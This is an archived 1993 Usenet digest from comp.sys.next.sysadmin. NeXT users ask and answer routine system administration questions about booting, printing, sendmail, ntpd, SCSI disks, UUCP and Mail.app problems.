Sender: m@bluerose.com
Organization: Blue Rose Systems, Inc.
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Distribution: na
Date: Fri, 30 Apr 1993 15:14:28 GMT
In article <1993Apr29.230846.17604@cs.uno.edu> jstelly@math.uno.edu (John
R. Stelly II) writes:
>
> One of our NeXT Stations cannot be booted at all - not even in
single-user
> mode. When I attempt to boot it from within the monitor to observe
what's
> going on, it appears that its hard disk is completely full. The only
> thing we can think of to do is to boot it from a floppy disk, but we
don't
> have any bootable floppies. So, does anyone know of a way to create a
> bootable floppy disk(s) - if that's at all possible - from which I can
> then boot the problem Station?
There is a script called BootFloppy3.0.tar.Z (or something close to that)
at sonata.cc.purdue.edu.
M Carling
President, Bay Area NeXT Group
From: nevai@math.ohio-state.edu (Paul Nevai)
Newsgroups: comp.sys.next.sysadmin
Subject: What the heck are these "<mach-task>"???
Date: 1 May 1993 10:34:01 GMT
Organization: Department of Mathematics, The Ohio State University
Sender: Paul Nevai
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Originator: nevai@ops.mps.ohio-state.edu
I run NeXT OS 3.0. What the heck are these "<mach-task>" things:
% ps -auxw | grep mach
root -1 0.0 0.0 0K 0K ? S 0:00 <mach-task>
root -1 0.0 0.0 0K 0K ? S 0:00 <mach-task>
root -1 0.0 0.0 0K 0K ? S < 0:00 <mach-task>
root -1 0.0 0.0 0K 0K ? S 0:00 <mach-task>
root -1 0.0 0.0 0K 0K ? S 0:00 <mach-task>
root -1 0.0 0.0 0K 0K ? ?W< 0:00 <mach-task>
etc. etc.??? They just keep accumulating. Should I have a cron job to keep
murdering them?
Please respond by email. Thanks. Take care...Paul
Paul Nevai nevai@math.ohio-state.edu
Dept Math - Ohio State University 1-614-292-3317 (Office)
Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
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From: Iroo
Subject: Setting up UUCP
Message-ID: <1993May1.144105.3131@deep13.com>
Sender: iroo@deep13.com
Organization: Deep-13
Date: Sat, 1 May 1993 14:41:05 GMT
I would like to set up my machine so that I can have a friend dialup into
me using UUCP. For a variety of reasons, SLIP cannot be used. I know it
is more a UNIX question than NeXT, but does anyone have a good way of
actually doing this? What do I need to put into their .login script?
Thanks....
--
Ira Frosch
gypsy!iroo@csn.org
NeXTMail - OK!
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Ira Frosch
gypsy!iroo@csn.org
From: dean@thrall.com (Dean Johnson)
Newsgroups: comp.sys.next.sysadmin
Subject: Ownership and Permission problems
Date: 1 May 1993 21:00:54 GMT
Organization: Northwest Nexus Inc.
Distribution: world
Message-ID: <1ruoe6$q5t@nwfocus.wa.com>
Once again I find myself in need of some advice/help.
I just grabbed the file "AlexAlexNeXTSTEPBook.tar.Z" of an ftp
site and uncompressed and unarchived it; with a strange side effect.
After get a directory named "PostScript" I noticed that it had different
permissions and ownerships than it should have had. I had unarchived
it as "root", but didn't look at it until later. So, when I went to
delete the dir, the system beeped at me. Examining the output from
"ls -lag" it showed that the dir "PostScript" was owned by user
"steph" group "wheel".
So, all that said. I do have a user named "steph" (my wife), but she is
group "other" - not "wheel". Second why would she have permission and not
root (the one that unarchived the .tar file).
After deleting it I unarchived it as "dean" (me) and it had the permissions
and ownerships that it should have (user dean - group other).
Can anybody help me understand this strange mix-up? I'm hopeful that
this isn't a major problem, just a quirk (maybe).
Any help is greatly appreciated.
Thanks for your time,
Dean Johnson
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|
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From: fell@binah.cc.brandeis.edu
Subject: why does power off not work?
Message-ID: <1993May1.230714.25091@news.cs.brandeis.edu>
Sender: news@news.cs.brandeis.edu (USENET News System)
Organization: Brandeis University
Date: Sat, 1 May 1993 23:07:14 GMT
First of all, let me express my thanks to all who took their time to
answer my previous query about transferring my file syustem from one
external to another. I do appreciate the efforts.
Now, I have the operating system up and running on my new external wh
ich I use a my boot device. The problem is this. After logging off and pressing the power off button, the system will not turn off on its own. The only
thing I can do is hit the button again and then its powers down. Now, upon
rebooting, the external is corrupted and fsck must do it work. So far, I
can reboot each time but it is certainly inconvenient the have the exteral
repaired every time I boot up and I do not trust things to turn worse at
some point. Does any good soul have a good suggestion as to what the problem
is? Thanks again in advance.
Newsgroups: comp.sys.next.sysadmin
From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: Re: why does power off not work?
Message-ID: <C6Dtns.2F5@usenet.ucs.indiana.edu>
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: Indiana University
References: <1993May1.230714.25091@news.cs.brandeis.edu>
Date: Sun, 2 May 1993 04:26:16 GMT
In article <1993May1.230714.25091@news.cs.brandeis.edu> fell@binah.cc.brandeis.edu writes:
> Now, I have the operating system up and running on my new external wh
>ich I use a my boot device. The problem is this. After logging off and pressing the power off button, the system will not turn off on its own. The only
>thing I can do is hit the button again and then its powers down. Now, upon
>rebooting, the external is corrupted and fsck must do it work. So far, I
>can reboot each time but it is certainly inconvenient the have the exteral
>repaired every time I boot up and I do not trust things to turn worse at
>some point. Does any good soul have a good suggestion as to what the problem
>is? Thanks again in advance.
Well, I've seen this happen on three different machines after an
upgrade to 3.0 from 2.1, so I'll mention it as a possibility.
For some reason, the link /etc/halt -> /usr/etc/halt got corrupted.
The link was turned into /etc/halt -> /usr/^#@$@#%/$#!lt. I just
removed the link and recreated it, then things worked well. May not
be your problem, but if it is at least the fix is easy. (-:
-rob
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francisr@indiana.edu (812)855-0327
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From: ian@pyrian.com (Ian H. Stewart)
Subject: Cnews,bnews,INN Which one
Message-ID: <1993May2.065625.274@pyrian.com>
Sender: ian@pyrian.com
Organization: PYRIAN Software Group - Makers of UUCP-EZ & I'm On Vacation.
Date: Sun, 2 May 1993 06:56:25 GMT
Which one do I want. I am currently using Cnews, but now need to manage
multi-platform machines. I need source etc. Which of the three or others?
are better.
Things I would like to see:
fewer binaries
source
easily compiled for one or multi arch.
Any help / direction is appreciated.
--
Ian H. Stewart | voice/fax 415-664-1170
Pyrian Software Group | Net Ian_Stewart@pyrian.com
NeXTSTEP Consulting | Isn't LiFE more like RiSK?
Newsgroups: comp.sys.next.misc,comp.sys.next.hardware,comp.sys.next.sysadmin
From: thompson@netcom.com
Subject: want to add ADB to my turbo color--have you done it? help!
Message-ID: <thompsonC6FIus.5yB@netcom.com>
Followup-To: comp.sys.next.hardware
Summary: adb turbo color upgrade
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Date: Mon, 3 May 1993 02:28:03 GMT
If anyone out there has successfully gotten their turbo color non-ADB
switched to an ADB version (by getting the new roms, monitor, keyboard,
etc, from NeXT), I would like to hear from you. My current (Fimi) monitor
is dying, and I don't want another--I want the Sony.
Please help me out by letting me know what you had to go through to get
it changed. I want to have black hardware that LASTS and doesn't just
go to hell.
thanks,
Eric
p.s. if it matters, this machine is still under warranty.
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From: eps@shell.portal.com (Eric Schwartz)
Subject: FAXing with the Worldblazer?
Message-ID: <C6FLK9.9FD@unix.portal.com>
Followup-To: poster
Sender: news@unix.portal.com
Organization: Portal Communications Company
Date: Mon, 3 May 1993 03:26:32 GMT
Has anyone been successful hooking up a Telebit Worldblazer to
a NeXTstation, and being able to send FAXen as well as communicate
at high speeds via modem?
Thanks,
Eric
--
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eps@shell.portal.com
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From: mcphee@nxsci245.mrs.umn.edu (Nic McPhee)
Subject: Installing gcc v2.3.3 under NextStep 2.1
Message-ID: <C6FAqs.Ct2@cda.mrs.umn.edu>
Sender: news@cda.mrs.umn.edu (USENET News System)
Organization: University of Minnesota - Morris
Date: Sun, 2 May 1993 23:32:51 GMT
I'm trying to install gcc v2.3.3 under NextStep 2.1, and it's giving me
trouble. Everything toddles along fine for many minutes, but then I get
the following:
/xgcc -B./ -DIN_GCC -g -DNO_MEM -DNO_STDDEF -DNO_LONG_DOUBLE_IO
-O0 -I. -c /tmp/O_gcc-2.3_3/gcc-2.3.3/enquire.c
/xgcc -B./ -DIN_GCC -g enquire.o -o enquire
ld: Undefined symbols:
__NXArgc
__NXArgv
__environ
collect: /bin/ld returned 1 exit status
*** Exit 1
Stop.
I've seen something like this before, but have no memory of how to handle
it. I suspect this is a trivial thing to fix, but I'm stuck and was
hoping you folks could lend a hand.
Many thanks,
Nic McPhee
mcphee@cda.mrs.umn.edu
University of Minnesota, Morris
From: nevai@math.ohio-state.edu (Paul Nevai)
Newsgroups: comp.sys.next.sysadmin
Subject: How to dump directories instead of filesystems???
Date: 3 May 1993 11:05:31 GMT
Organization: Department of Mathematics, The Ohio State University
Sender: Paul Nevai
Distribution: world
Message-ID: <1s2u9r$ml4@mathserv.mps.ohio-state.edu>
Originator: nevai@ops.mps.ohio-state.edu
The NEXT 3.0 version of dump can only dump filesystems but not directories, I
think. Is there a way to do the latter. E.g., where can I get a "dump" which
would do the following job:
dump 1unf /MYDUMP/dumped.$$ /etc
(I think the SUN dump does this)
Please respond by email. Thanks. Take care...Paul
Paul Nevai nevai@math.ohio-state.edu
Dept Math - Ohio State University 1-614-292-3317 (Office)
Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
Newsgroups: comp.sys.next.sysadmin,comp.protocols.nfs
From: ijeff@hank.carleton.ca (Ian Jefferson)
Subject: Printing from windows to a NeXT printer
Message-ID: <ijeff.736109411@cunews>
Summary: I need to filter out ^D's from print jobs
Keywords: TCP/IP printing windows
Sender: news@cunews.carleton.ca (News Administrator)
Organization: Carleton University
Date: Thu, 29 Apr 1993 18:50:11 GMT
Summary say's it all really. I would like to filter out the
leading ^D from Windows printing jobs in an elegant (if possible)
fashion. This character preceeds the %!PS magic number/string that
identifies all properly formed postscript files.
These print jobs are going through a re-directed parallel port
using bsd printing services. Printing to a file and editing the
file are not suitable alternatives.
This seems to be a general problem printing from DOS applications
which imbed a communication protocol in the postscript file. The
control-D is a reset command for an Apple Laserwriter!
I'm using Beame & Whiteside NFS.
Thanks, if there is suitable response I will summarize.
--
---------------------------------------------------------------------------
Ian Jefferson ijeff@ccs.carleton.ca No NeXT mail please!
ijeff@computeractive.on.ca NeXT mail please!
From: disc@vector.intercon.com (David Casti)
Newsgroups: comp.infosystems.wais,comp.sys.next.misc,comp.sys.next.software,comp.sys.next.sysadmin
Subject: swais for the NeXT
Date: 3 May 1993 15:25:58 GMT
Organization: InterCon Systems Corporation - Herndon, VA USA
Message-ID: <1s3di6$qg@news.intercon.com>
Hi,
I've been completely unsuccessful at building swais on my NeXT running
NeXTStep 3.0. Does someone have a binary that I can snag? In return,
I'll put the binary in my anonymous FTP tree so the whole world can have
at it.
Thanks,
David.
From: sears@tree.egr.uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer
Subject: Looking for printer queue manager (not NeXTs!!)
Date: 3 May 1993 15:24:32 GMT
Organization: University of Houston
Message-ID: <1s3dfg$sd9@menudo.uh.edu>
Has anyone written a better printer queue manager (NeXTSTEP or command line)
than the one provided by NeXT. The NeXT version is lacking, mainly in that
you can't re-order the jobs in the queue. Using unix you can *atleast* move
jobs to the top (ie., lpc topq job username)...
Info or code will do nicely!
--
Paul S. Sears * sears@uh.edu (NeXT Mail OK)
The University of Houston * suggestions@tree.egr.uh.edu (NeXT
Engineering Computing Center * comments, complaints, questions)
NeXT System Administration * DoD#1967 '83 NightHawk 650SC
>>> SSI Diving Certification #755020059 <<<
"Programming is like sex: One mistake and you support it a lifetime."
From: annard@theborg.stack.urc.tue.nl (Annard Brouwer)
Newsgroups: comp.sys.next.sysadmin
Subject: ntpd revisited
Date: 3 May 1993 10:27:16 GMT
Organization: the Borg
Distribution: world
Message-ID: <1s2s24INN62@theborg.stack.urc.tue.nl>
Hello there,
I was wondering how to make the NeXT understand that I want to use a
non-NetInfo host as a Master Time Server. According to the documentation I have
(which, by the way, is for NS2.2 and it has to be done on a NS3.0 machine) I
just have to add a machine to the panel I get when selecting Network Time
Configuration in the HostManager application and add it to the '/' domain.
Well, this doesn't work :-(
Can anybody shed some light on this? The manual page for ntpd is also not
extremely informative...
Thanks in advance,
Annard
--
Annard Brouwer annard@stack.urc.tue.nl (NeXTmail appreciated)
People? You can forget it.
From: shuque@spectre.sas.upenn.edu (Shumon Huque)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: ntpd revisited
Message-ID: <124777@netnews.upenn.edu>
Date: 3 May 93 18:40:30 GMT
References: <1s2s24INN62@theborg.stack.urc.tue.nl>
Sender: news@netnews.upenn.edu
Organization: University of Pennsylvania
In article <1s2s24INN62@theborg.stack.urc.tue.nl> rcbaab@urc.tue.nl writes:
>Hello there,
>
>I was wondering how to make the NeXT understand that I want to use a
>non-NetInfo host as a Master Time Server. According to the documentation I have
>(which, by the way, is for NS2.2 and it has to be done on a NS3.0 machine) I
>just have to add a machine to the panel I get when selecting Network Time
>Configuration in the HostManager application and add it to the '/' domain.
>Well, this doesn't work :-(
I do this on my network, and all I had to do was add the non-netinfo host
to my netinfo 'hosts' database and then make it a Master (or Clone) time
server through the network time config panel in HostManager.app, and finally
restart ntpd or reboot. I've had no problems so far ..
--Shumon.
shuque@spectre.sas.upenn.edu
From: szatezal@magnus.acs.ohio-state.edu (Shane M Zatezalo)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin,comp.sys.next.misc
Subject: Sun HD on a NeXT
Date: 3 May 1993 20:00:17 GMT
Organization: The Ohio State University
Distribution: world
Message-ID: <1s3tkh$7bk@charm.magnus.acs.ohio-state.edu>
I recently purchased a Seagate ST1480N SCSI-2 hard drive. I used it
on my Apple II for a while, but got a new scsi interface for it.
Well, the interface doesn't like the Sun Sparc station's information that
was wrote on the control block. (The previous owner had it on a Sun...)
So I figured I'd use the drive on the NeXT here.
I plugged it in. Powered it up, and was in the monitor to watch the boot
process.
It came up as "generic scsi at sg0 at sc0 target 7 lun 7
I would have thought that the cpu would have known the drive was a seagate)
Anyway, I cannot figure out what to do now.
If I try to do "/usr/etc/sdform /dev/sg0, I get:
peach# /usr/etc/sdform /dev/sg0
Request Sense command failed
ioctl(SDIOCSRQ): Permission denied
I found a few programs called "SCSI tools" on a ftp site, so I tried those:
peach# /RemoteSpace/PeanutSpace/Shane/scsitools/inquire
-t 1 -l 0 "QUANTUM /LP105S 910109405/2.8 /" typ=0 dev=0 ans=2 fmt=1
-t 5 -l 0 "SEAGATE /ST1480 SUN0424/5826/" typ=0 dev=0 ans=2 fmt=2
So it knows the drive /is/ there. (You can even see the SUN0424 there,
I'm not sure whether that's good or bad)
Heck, I'm not even sure if the controller block of the drive is intact...
If I try to format the drive through disk, I get:
peach# /etc/disk -i /dev/sg0
get info: Invalid argument
What am I doing wrong here? The cpu is obviously able to access the
drive, so I don't think there's anything wrong with the drive.
I -do- have all the drive specs from Seagate, so if I had to re-write
the controller block from scratch, as long as I had a program that would
write the data for me, I could do it.
Anyone want to stear me in the right direction? Thanks,
shane
--
:::Apple II forever!!:::GO BUCKS!:::Play Lacrosse!!:::Raging Bullwinkle!:::
: Shane M . Zatezalo - CIS OSU: i-net> szatezal@magnus.acs.ohio-state.edu :
: root@tap.colum.fnet.org : NeXTMail> shane@kiwi.swhs.ohio-state.edu :
:GS::: call T.A.P. a Futurenet BBS 614-297-7031 16.8k DS HST 425 MEGS ::GS:
From: disc@vector.intercon.com (David Casti)
Newsgroups: comp.infosystems.wais,comp.sys.next.misc,comp.sys.next.software,comp.sys.next.sysadmin
Subject: Re: swais for the NeXT
Followup-To: comp.infosystems.wais,comp.sys.next.misc,comp.sys.next.software,comp.sys.next.sysadmin
Date: 3 May 1993 21:18:09 GMT
Organization: InterCon Systems Corporation - Herndon, VA USA
Message-ID: <1s426h$2r2@news.intercon.com>
References: <1s3di6$qg@news.intercon.com>
David Casti (disc@vector.intercon.com) wrote:
: I've been completely unsuccessful at building swais on my NeXT running
: NeXTStep 3.0. Does someone have a binary that I can snag? In return,
: I'll put the binary in my anonymous FTP tree so the whole world can have
: at it.
Many thanks to Joe Rosenfeld (cowboy@trans.csuohio.edu) who emailed me the
binary. It is now available at vector.intercon.com:/pub/next/swais via
anonymous FTP.
David.
=============================================================================
David Casti Internet: disc@vector.intercon.com
Technical Support Engineer
InterCon Systems Corporation Phone: (703) 709-5554
950 Herndon Parkway, Suite 420 FAX: (703) 709-5555
Herndon, Virginia 22070
=============================================================================
No official InterCon correspondence will ever have vector.intercon.com
as the return address.
=============================================================================
From: wcwang@cs.indiana.edu (Bill Wang)
Newsgroups: comp.sys.next.sysadmin
Subject: HP laserjet 4m driver for NeXT
Message-ID: <1993May3.161235.12918@news.cs.indiana.edu>
Date: 3 May 93 21:12:29 GMT
Organization: Indiana University Computer Science, Bloomington
Is there such thing available for ftp or do I need to get it from NeXT?
This is for NeXTStep 3.0. Thanks in advance!
--
Bill Wang
US Mail = Psychology Department, Indiana University, Bloomington, IN 47405
Internet = wcwang@cs.indiana.edu
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin,comp.sys.next.misc
From: sbackus@ren.eecs.wsu.edu (Samuel Backus - EE)
Subject: Macintosh PS on a NeXT
Message-ID: <1993May3.213114.26315@serval.net.wsu.edu>
Keywords: Postscript
Sender: news@serval.net.wsu.edu (USENET News System)
Organization: Washington State University
Date: Mon, 3 May 93 21:31:14 GMT
I am using a Macintosh IIsi and want to print to my
school's NeXTstation computer printers. I also want
to do this using Postscript.
I am running MSWord 4.0D under system 7.0.1 and the NeXT
machines are running under NeXT Step 2.1. I also have
access to machines running NeXT Step 3.0. I also want to
be able to transfer the files by disk, as my Mac is not
connected to the school's NeXT computers.
Any help would be appreciated. Please e-mail replys to
my address below as I do not subscribe to this group.
Sam <sbackus@yoda.eecs.wsu.edu>
Newsgroups: comp.sys.next.sysadmin
From: ian@pyrian.com (Ian H. Stewart)
Subject: Re: Cnews,bnews,INN Which one
Message-ID: <C6H30H.6n5@pyrian.com>
Sender: ian@pyrian.com (Ian H. Stewart)
Organization: PYRIAN Software Group - Makers of On Vacation(tm). 415 664-1170 ext 7.
Date: Mon, 3 May 1993 22:41:04 GMT
I guess I should point out that it will be used over a UUCP connection.
Thanks
--
Ian H. Stewart | voice/fax 415-664-1170
Pyrian Software Group | Net Ian_Stewart@pyrian.com
NeXTSTEP Consulting | Isn't LiFE more like RiSK?
Newsgroups: comp.sys.next.sysadmin
From: ian@pyrian.com (Ian H. Stewart)
Subject: sendmail.cf samples please
Message-ID: <C6H318.6nw@pyrian.com>
Sender: ian@pyrian.com (Ian H. Stewart)
Organization: PYRIAN Software Group - Makers of On Vacation(tm). 415 664-1170 ext 7.
Date: Mon, 3 May 1993 22:41:32 GMT
I am looking for some sendmail configuration files from people using:
Netcom
PSI
UUNET
or any other service provider.
I am also interested in learning how to "fix" my sendmail.cf so that
my "reply to" will be "ian_stewart@pyrian.com" instead of
"pyrian!ian@netcom.netcomsv.com".
YES, I do have "ian_stewart@pyrian.com" in my Mail.app reply to field.
Somehow my sendmail.cf is rewritting it. I believe it has to do with
rewriting, but I don't know how to fix it. Any help is appreciated.
NeXTMAIL accepted!
--
Ian H. Stewart | voice/fax 415-664-1170
Pyrian Software Group | Net Ian_Stewart@pyrian.com
NeXTSTEP Consulting | Isn't LiFE more like RiSK?
Newsgroups: comp.sys.next.sysadmin
From: perkins@spot.Colorado.EDU (PERKINS TYLER R)
Subject: Weird return mail address problem
Message-ID: <1993May3.214515.16024@ucsu.Colorado.EDU>
Sender: news@ucsu.Colorado.EDU (USENET News System)
Organization: University of Colorado, Boulder
References: <1s2s24INN62@theborg.stack.urc.tue.nl> <124777@netnews.upenn.edu>
Date: Mon, 3 May 1993 21:45:15 GMT
Knowing little about sendmail, I don't have a clue about
the following mail problem: Mail seems to work fine on
lasagna.Colorado.EDU, which is running NS 3.0. Mail is
received from many distant hosts. But whenever mail is
received from any user on a NeXT named "linguini.sel.bldrdoc.gov"
(running NS 2.1), the the addresses in the "From" fields
in the message are changed to "linguini.Colorado.EDU"!
Naturally, a reply to this address fails.
I've run "telnet lasagna.Colorado.EDU smtp" from linguini
to verify that indeed the correct full name for linguini
is being received by lasagna. But the error still appears
in the received message. This happens whether or not the
NeXT Mail application is used to read the mail.
The following is a message sent from perkins@linguini.sel.bldrdoc.gov
to perkins@lasagna.Colorado.EDU :
From perkins@linguini.Colorado.EDU Mon May 3 15:20:53 1993
Return-Path: <perkins@linguini.Colorado.EDU>
Received: from linguini by lasagna.Colorado.EDU (NX5.67c/NX3.0S)
id AA13982; Mon, 3 May 93 15:20:51 -0600
Received: by linguini.sel.bldrdoc.gov (NeXT-1.0
(From Sendmail 5.52)/NeXT-2.0) id AA00239; Mon, 3 May 93 15:17:22 MDT
Date: Mon, 3 May 93 15:17:22 MDT
From: perkins@linguini.Colorado.EDU (Tyler Perkins)
Message-Id: <9305032117.AA00239@ linguini.sel.bldrdoc.gov >
To: perkins@lasagna.Colorado.EDU
Subject: Test without Mail application
Status: R
This was opened using Unix mail.
Any ideas would be greatly appreciated. Thanks in advance.
Tyler Perkins perkins@spot.colorado.edu
From: tg2@prism.gatech.EDU (T. Govindaraj)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin,comp.sys.next.software
Subject: Wacom tablet on tty port B messes up SLIP/getty
Summary: Tablet driver messes up the serial lines. How do I fix it?
Keywords: digitizer, tablet, Wacom, SLIP
Message-ID: <95917@hydra.gatech.EDU>
Date: 4 May 93 00:23:06 GMT
Followup-To: comp.sys.next.hardware
Organization: Georgia Institute of Technology
I have been running SLIP (Louis Mamakos's free version) happily on my cube
for a couple of months on a SupraFAX v.32bis modem. I also use DFax on my
modem. DFax and Mamakos's SLIP are two of the best products I have used on
any computer.
Everything was fine until I bought an electrostatic Wacom (421E) tablet.
I like the tablet too, except for a rather serious problem. After I use
the tablet, it messes up the serial ports. NeXT has a driver for the tablets.
I am supposed to connect the tablet to the serial port B, which is what I
did. However, it interferes with Serial port A to which the modem is
connected. The tablet driver has no business interfering with the serial
port to which it is NOT connected.
When this happens, i.e., after I use the tablet, I cannot make a SLIP
connection (nor a cu connection) until I reboot the machine and leave
the tablet off. If I don' reboot, I get the following:
Apr 25 09:24:29 malgudi mach: Tablet driver: tablet attached
Apr 25 09:24:40 malgudi tcldiald[118]: failed read (-1 bytes) from "/dev/dialup0", No such device
Apr 25 09:24:54 malgudi last message repeated 3315 times
I sent mail to the DFax people and received prompt response with some
suggestions. From the mail I received from Bruce Gingery of TotSysSoft
it was clear that the tablet driver is at fault.
Has anyone else encountered this problem? If you did, how did you fix it?
I guess I could ask NeXT for help, but I don't know whom to ask. (I will
find out from the local NeXT person, if I don't get any suggestions from
the NeXT.)
I guess NeXT would help me, since I have been NeXT fan (and continue to
be) from the very beginning. In fact, I helped set up SLIP connections
for the IEEE International Conference on Robotics and Automation that
is currently meeting in Atlanta with NeXT machines from our lab, and
from NeXT. I wanted to show off NeXT (and Mamakos's SLIP)! :-)
If you do offer me suggestions, please don't make them too technical!
I am just a dumb engineering professor (from the top-ranked industrial
and manufacturing) engineering program in the US. :-)
Thank you very much.
govind
--
T. Govindaraj +1 404 894 3873 tg@chmsr.gatech.edu,NeXTmail welcome.
Member, League for Programming Freedom (write lpf@uunet.uu.net)
School of Industrial and Systems Engineering, Georgia Institute of Technology
765 Ferst Drive, ISyE-0205, Atlanta, GA 30332-0205.
Newsgroups: comp.sys.next.sysadmin,comp.protocols.nfs
From: fred@maccs.mcmaster.ca (Fred Whiteside)
Subject: Re: Printing from windows to a NeXT printer
Message-ID: <1993May4.013124.7831@mcshub.dcss.mcmaster.ca>
Sender: usenet@mcshub.dcss.mcmaster.ca
Organization: Beame & Whiteside Software Ltd.
References: <ijeff.736109411@cunews>
Date: Tue, 4 May 1993 01:31:24 GMT
In <ijeff.736109411@cunews>, ijeff@hank.carleton.ca writes:
>Summary say's it all really. I would like to filter out the
>leading ^D from Windows printing jobs in an elegant (if possible)
>fashion. This character preceeds the %!PS magic number/string that
>identifies all properly formed postscript files.
>
>This seems to be a general problem printing from DOS applications
>which imbed a communication protocol in the postscript file. The
>control-D is a reset command for an Apple Laserwriter!
>
>I'm using Beame & Whiteside NFS.
If you are using Windows 3.0, then you should use the /P
option on the net link statement (it prepends a dummy postscript
header). If you are using windows 3.1, then you should set the
CTRLD=0 option in the appropriate section of WIN.INI. This option
prevents windows from emitting that initial ^D. I'll include the
relevant section on the windows 3.1 printers.wri file ...
-fred
--extract from printers.wri --
4.3 Printing a PostScript Print File in UNIX
The PostScript printer driver inserts a CTRL+D key combination at the beginning
of every print job to reset the printer. Because UNIX systems recognize CTRL+D
as an end-of-file character, any print files you create by using the
PostScript printer driver do not print in UNIX. You can correct this problem
by removing the CTRL+D key combination from the print job. To do this, add the
following setting to the [ModelName,Port] section in the WIN.INI file (where
ModelName is the name of your PostScript printer model):
CtrlD=0
For more information about editing the WIN.INI file, see the WININI.WRI online
document.
Fred Whiteside Beame & Whiteside Software Ltd., Caledonia, Ontario
fred@bws.com fred@maccs.DCSS.McMaster.CA ...!uunet!utai!utgpu!maccs!fred
From: Charles William Swiger <infidel+@CMU.EDU>
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.hardware
Subject: Re: Sun HD on a NeXT
Date: Mon, 3 May 1993 23:14:43 -0400
Organization: Senior, Chemistry, Carnegie Mellon, Pittsburgh, PA
Distribution: world
Message-ID: <kftRyXe00WB6QsDBpE@andrew.cmu.edu>
In-Reply-To: <1s3tkh$7bk@charm.magnus.acs.ohio-state.edu>
Excerpts from netnews.comp.sys.next.misc: 3-May-93 Sun HD on a NeXT by
Shane M Zatezalo@magnus.
> So I figured I'd use the drive on the NeXT here.
> I plugged it in. Powered it up, and was in the monitor to watch the boot
> process.
> It came up as "generic scsi at sg0 at sc0 target 7 lun 7
That's not the hard drive, that's the SCSI controller chip inside the NeXT.
You should make sure that you've set the SCSI target number on the drive
so that it doesn't conflict with the drive(s) currently on the NeXT.
Don't set it to 0 or the NeXT will try to boot of the Sun drive.
I'm surprised that the WorkSpace didn't ask you something like "Hard
drive <xyz> is not readable; do you wish to format it?"
> I would have thought that the cpu would have known the drive was a seagate)
> Anyway, I cannot figure out what to do now.
>
> If I try to do "/usr/etc/sdform /dev/sg0, I get:
>
> peach# /usr/etc/sdform /dev/sg0
> Request Sense command failed
> ioctl(SDIOCSRQ): Permission denied
Be happy this failed. You could have caused problems if the SCSI
controller chip actually tried to do something....
> I found a few programs called "SCSI tools" on a ftp site, so I tried those:
>
> peach# /RemoteSpace/PeanutSpace/Shane/scsitools/inquire
> -t 1 -l 0 "QUANTUM /LP105S 910109405/2.8 /" typ=0 dev=0 ans=2 fmt=1
> -t 5 -l 0 "SEAGATE /ST1480 SUN0424/5826/" typ=0 dev=0 ans=2 fmt=2
>
>
> So it knows the drive /is/ there. (You can even see the SUN0424 there,
> I'm not sure whether that's good or bad)
This is good; at least the drive is responding to SCSI requests.
> If I try to format the drive through disk, I get:
>
> peach# /etc/disk -i /dev/sg0
> get info: Invalid argument
Try "/usr/etc/disk /dev/rsdxa", where x is the device number of the Sun
disk. It's probably 1, unless you already have more than one drive on
your NeXT.
If this works, you can edit the label, initialize the disk, and so forth
from within the disk utility.
You can then use newfs to actually create a filesystem on the disk; but
the WorkSpace should be able to do that for you automatically.
-Chuck
Charles William Swiger -- CMU...*crunch*! | 1. You can't fly. (Oops, Tom. :)
------------------------------------------+ 2. Cars are always real, even
AMS & normal mail: infidel@cmu.edu | when they're not.
Failing that: cs4w+@andrew.cmu.edu | 3. Cops are not your friends.
NeXTmail: chuck@mon.slip.andrew.cmu.edu | 4. Fire burns.
Newsgroups: comp.sys.next.sysadmin
From: verket@venice.sedd.trw.com (Paul Verket)
Subject: NS 3.0 & PS lvl 1 printer
Message-ID: <1993May4.034719.6493@venice.sedd.trw.com>
Sender: news@venice.sedd.trw.com (USENET News)
Organization: TRW Systems Engineering & Development Division, Carson, CA
Date: Tue, 4 May 1993 03:47:19 GMT
I have an HP IIP printer with an HP (Adobe level 1) Postscript
cartridge. It works fine most of the time except when printing some
images, namely color ones. Then it just prints a gray box. On the
NeXTlaser and on PS level 2 printers the color pics print out
correctly.
I've found where in /usr/lib/NextStep/printPackage.ps (3.0) this is
occuring and it's quite intentional. Does anyone know if NeXT will
more fully support level 1 printers (or HP without PS cartridges) in
the future or am I stuck till I upgrade printers?
Paul Verket (NeXTmail ok
From: gregory@brigham-circle.mit.edu (Greg Howland)
Newsgroups: comp.sys.next.sysadmin
Subject: Active.mbox won't open
Date: 4 May 1993 04:52:28 GMT
Organization: Massachvsetts Institvte of Technology
Message-ID: <1s4sqcINN6uo@senator-bedfellow.MIT.EDU>
My NeXT computer hung while opening Mail.app. I was forced to turn it
off and reboot it. Now my Active.mbox wont open (all of my other
mbox's open). Does anyone have suggestions on how to correct this?
Thanks,
Greg
gregory@brigham-circle.mit.edu
From: Ruediger Popp <rpopp@ebigek01.ciw.uni-karlsruhe.de>
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Active.mbox won't open
Date: 4 May 1993 06:27:05 GMT
Organization: University of Karlsruhe, Germany
Distribution: world
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References: <1s4sqcINN6uo@senator-bedfellow.MIT.EDU>
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gregory@brigham-circle.mit.edu (Greg Howland) writes:
> My NeXT computer hung while opening Mail.app. I was forced to turn it
> off and reboot it. Now my Active.mbox wont open (all of my other
> mbox's open). Does anyone have suggestions on how to correct this?
>
> Thanks,
> Greg
> gregory@brigham-circle.mit.edu
We had the same problem:
Open your active.mbox as a folder and rename the lockfile.
Then restart mail.app.
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From: eps@shell.portal.com (Eric Schwartz)
Subject: Bouncy screen savers?
Message-ID: <C6HrFw.Lt2@unix.portal.com>
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Sender: news@unix.portal.com
Organization: Portal Communications Company
Date: Tue, 4 May 1993 07:28:41 GMT
Does anyone have a screen saver that simply bounces words around a
black screen? More specifically, I'm looking for some code to scan
the end of a text file for key words, and to move those words around the
screen in a variety of ways. (The words would have to be big, too, and
that program in /NextDeveloper/Demos that bounces the hostname around
the screen is very close to what I need. Does anyone have the source code to
it?)
Thanks,
